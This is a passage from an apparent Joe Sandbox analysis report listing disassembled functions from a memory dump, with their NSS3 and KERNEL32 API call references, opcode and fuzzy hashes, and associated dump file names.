PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5FBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5FBE3B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: d2e398db87b7de58fee740cae6fd6df90ee13d66a70c2c733c30f62ed1182084
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 94012B79A40201B6F6103666AC01F5776484F5229DF640030FF199ABC2FB51D12A86BF

Function 6C650FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016

Part of subcall function 6C6B98D0: calloc.MOZGLUE(00000001,00000084,6C5E0936,00000001,?,6C5E102C), ref: 6C6B98E5

PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B
TlsGetValue.KERNEL32(00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651044
free.MOZGLUE(00000000,?,00000800,6C5EEF74,00000000), ref: 6C651064

Strings

security, xrefs: 6C651025

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bb3fce1963f25b6b36ba256ad09c89f44106a01fb68d5bbf1c772487ba084811
Instruction ID: f4ab82c8bfc2ee42ff9ae0d1ffd0bd6d2ac32d3bd99c1dc796ae308a7239e60c
Opcode Fuzzy Hash: bb3fce1963f25b6b36ba256ad09c89f44106a01fb68d5bbf1c772487ba084811
Instruction Fuzzy Hash: 6E016B30B4025097E7203F3C8C04B963678BF4774AFA14526E80897A51EF70C169DBD9

Function 6C681C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C681C74

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C681C92
free.MOZGLUE(?), ref: 6C681C99
DeleteCriticalSection.KERNEL32(?), ref: 6C681CCB
free.MOZGLUE(?), ref: 6C681CD2

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: bb663926324cfd07564146bd15c6bb22d7670817e162ba23a7ec31efcfbcd96b
Instruction ID: 5ccc86026106ad14e713faf1c1cc41224a3ea68be376aad2f776b6ba5c12e1c6
Opcode Fuzzy Hash: bb663926324cfd07564146bd15c6bb22d7670817e162ba23a7ec31efcfbcd96b
Instruction Fuzzy Hash: 6601B9B5F062115FEF10AFA4AD0DB4937B4670731DF900135E90AA6B80DB75910887AA

Function 6C692E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C693046

Part of subcall function 6C67EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C667FFB), ref: 6C69312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C693154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C692E8B

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

Part of subcall function 6C67F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C669BFF,?,00000000,00000000), ref: 6C67F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C667FFA), ref: 6C692EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69317B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: a8931dbb9d23e2cc3bd51a597da84b84c0208bc91a36d53bd9c20ad8ea76b2c9
Instruction ID: 188c5744720d85d7c593ef2af6fe675872183a88c89c07831fca50f0c241ec3b
Opcode Fuzzy Hash: a8931dbb9d23e2cc3bd51a597da84b84c0208bc91a36d53bd9c20ad8ea76b2c9
Instruction Fuzzy Hash: 2FA1CE71A002199FDB24CF54CC84BEAB7B5EF49308F048099ED4967781E731AE85CFA6

Function 6C65ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C65ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C65EDCE

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

free.MOZGLUE(00000000,?,?,?,?,6C65B04F), ref: 6C65EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C65EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C65EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C65EEFB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: b25b89742f975e32238beedc6e781ef71c513db09282b8ffc26879489864e72f
Instruction ID: e72b088f92a95b7936926e1bce945fc97afed0713cd6c79deb8ab82ddb35e8d2
Opcode Fuzzy Hash: b25b89742f975e32238beedc6e781ef71c513db09282b8ffc26879489864e72f
Instruction Fuzzy Hash: 9C818DB1A002059FEF14CF55CC84BABB7F5BF89308F644428E8159B751DB35E825CBA9

Function 6C65CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C65DAE2,?), ref: 6C65C6C2

PR_Now.NSS3 ref: 6C65CD35

Part of subcall function 6C6B9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C700A27), ref: 6C6B9DC6
Part of subcall function 6C6B9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C700A27), ref: 6C6B9DD1
Part of subcall function 6C6B9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B9DED

Part of subcall function 6C646C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5F1C6F,00000000,00000004,?,?), ref: 6C646C3F

PR_GetCurrentThread.NSS3 ref: 6C65CD54

Part of subcall function 6C6B9BF0: TlsGetValue.KERNEL32(?,?,?,6C700A75), ref: 6C6B9C07

Part of subcall function 6C647260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5F1CCC,00000000,00000000,?,?), ref: 6C64729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C65CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C65CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C65CE2C

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C65CE40

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

Part of subcall function 6C65CEE0: PORT_ArenaMark_Util.NSS3(?,6C65CD93,?), ref: 6C65CEEE
Part of subcall function 6C65CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C65CD93,?), ref: 6C65CEFC
Part of subcall function 6C65CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C65CD93,?), ref: 6C65CF0B
Part of subcall function 6C65CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C65CD93,?), ref: 6C65CF1D

Part of subcall function 6C65CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C65CD93,?), ref: 6C65CF47
Part of subcall function 6C65CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C65CD93,?), ref: 6C65CF67
Part of subcall function 6C65CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C65CD93,?,?,?,?,?,?,?,?,?,?,?,6C65CD93,?), ref: 6C65CF78

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 6583a16c68b691c1564c423793ca22462adb1c5fb899bdf0018e67af1b46ad77
Instruction ID: fb0adba0d6e01c74a2f96acbdadf11c0da72f3dea18389ad3b3ce9a12bad60bd
Opcode Fuzzy Hash: 6583a16c68b691c1564c423793ca22462adb1c5fb899bdf0018e67af1b46ad77
Instruction Fuzzy Hash: DC51E3B6B00204AFEB10DF69CC40BAA77F4AF4D348F740524D806A7740EB31E926CB99

Function 6C62EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C62EF38

Part of subcall function 6C619520: PK11_IsLoggedIn.NSS3(00000000,?,6C64379E,?,00000001,?), ref: 6C619542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C62EF53

Part of subcall function 6C634C20: TlsGetValue.KERNEL32 ref: 6C634C4C
Part of subcall function 6C634C20: EnterCriticalSection.KERNEL32(?), ref: 6C634C60
Part of subcall function 6C634C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C634CA1
Part of subcall function 6C634C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C634CBE
Part of subcall function 6C634C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C634CD2
Part of subcall function 6C634C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C634D3A

PR_GetCurrentThread.NSS3 ref: 6C62EF9E

Part of subcall function 6C6B9BF0: TlsGetValue.KERNEL32(?,?,?,6C700A75), ref: 6C6B9C07

free.MOZGLUE(00000000), ref: 6C62EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C62F016
free.MOZGLUE(00000000), ref: 6C62F022

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: b1fa93f50f671d0534a3f63afdc68127029ac06f7d54f1703d7340a174b107a6
Instruction ID: 2154fe3e8ab393b89b436b40d98ad7329728be4e3cb2ec6b7792bd798282c321
Opcode Fuzzy Hash: b1fa93f50f671d0534a3f63afdc68127029ac06f7d54f1703d7340a174b107a6
Instruction Fuzzy Hash: 6C41B371E00209AFDF018FA9DC44BEEBBB9AF49358F004035F914A6750E776C9158FA9

Function 6C604860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C604894

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6048CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6048DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C6048FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C604912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C60494A

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: e436c567eb87a29b82afdf83b64223e81f8ead1a8b6b11bf85bcc2e180198261
Instruction ID: 39221cbd5bf004ee9e6ef338ce79fec015a7c1939745c3b82c1005ebca293532
Opcode Fuzzy Hash: e436c567eb87a29b82afdf83b64223e81f8ead1a8b6b11bf85bcc2e180198261
Instruction Fuzzy Hash: 8241D270704705ABE718CE69C980BAB73E8AF95358F00493CEA55A7B41F7B0D904CB5A

Function 6C61CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C61CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C61D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C61D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C61D025
PR_NewLock.NSS3 ref: 6C61D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C61D074

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 9952a4a8ba199f6ba86cba105f81505b20e4a3e08d64336c2a713171c845615a
Instruction ID: fc1401bf26070c3f00e378782ec65d30c6e1f9dacb8f47f7ec1140eb3e121de6
Opcode Fuzzy Hash: 9952a4a8ba199f6ba86cba105f81505b20e4a3e08d64336c2a713171c845615a
Instruction Fuzzy Hash: 2A41C1B0A09311AFDB11DF2DC88479A7BE4EF0935AF10816ADC198BF46D770D485CBA9

Function 6C602E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C5F2D1A), ref: 6C602E7E

Part of subcall function 6C6507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5F8298,?,?,?,6C5EFCE5,?), ref: 6C6507BF
Part of subcall function 6C6507B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6507E6
Part of subcall function 6C6507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C65081B
Part of subcall function 6C6507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C650825

PR_Now.NSS3 ref: 6C602EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C602EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C5F2D1A), ref: 6C602F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C5F2D1A), ref: 6C602F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C602F81

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 110f754fd1a16036792a415ff7770237be7405fb0f59bab8d145f537c02797d4
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: B13145707411008BF718C615CE48BAE7365EF81398F64497AD529B7AD0EB30984ACA1A

Function 6C5F0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C5F0A2C), ref: 6C5F0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C5F0A2C), ref: 6C5F0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C5F0A2C), ref: 6C5F0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C5F0A2C), ref: 6C5F0E90
free.MOZGLUE(00000000), ref: 6C5F0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C5F0A2C), ref: 6C5F0ED9

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 5a81b2ab8d714043cf4d2f07cdb272540b4a0f40eb888a55de461ca8677a034f
Instruction ID: d6c6dde8bcb6142e3de1a4e209817cfdbece7c947cd1a20bc2a78a898103857d
Opcode Fuzzy Hash: 5a81b2ab8d714043cf4d2f07cdb272540b4a0f40eb888a55de461ca8677a034f
Instruction Fuzzy Hash: E8213176F0128557EB0485665C45B6772AEDBC174CF1D4437DB3893705EA60C8178AA1

Function 6C5FAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5FAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C5FAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5FAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C5FAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C719500), ref: 6C5FAF23

Part of subcall function 6C64F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C64F0C8
Part of subcall function 6C64F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5FAF37

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: ebb82fb63ce4bdfad72dc6c337142438c29c83b519b6325b48581f215bb8002d
Instruction ID: bc0d2813e4ef9756541dc3a49e3bb2b172bec4428ccd87b5464eb10eb8f821a7
Opcode Fuzzy Hash: ebb82fb63ce4bdfad72dc6c337142438c29c83b519b6325b48581f215bb8002d
Instruction Fuzzy Hash: D3212875909200ABE7108E188C41B9A7BA4AF8573CF144315EC249F7D1E731D5068BAB

Function 6C67EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67EE85
realloc.MOZGLUE(67CBE9A5,?), ref: 6C67EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C67EEC5

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

htonl.WSOCK32(?), ref: 6C67EEE3
htonl.WSOCK32(00000000,?), ref: 6C67EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C67EF01

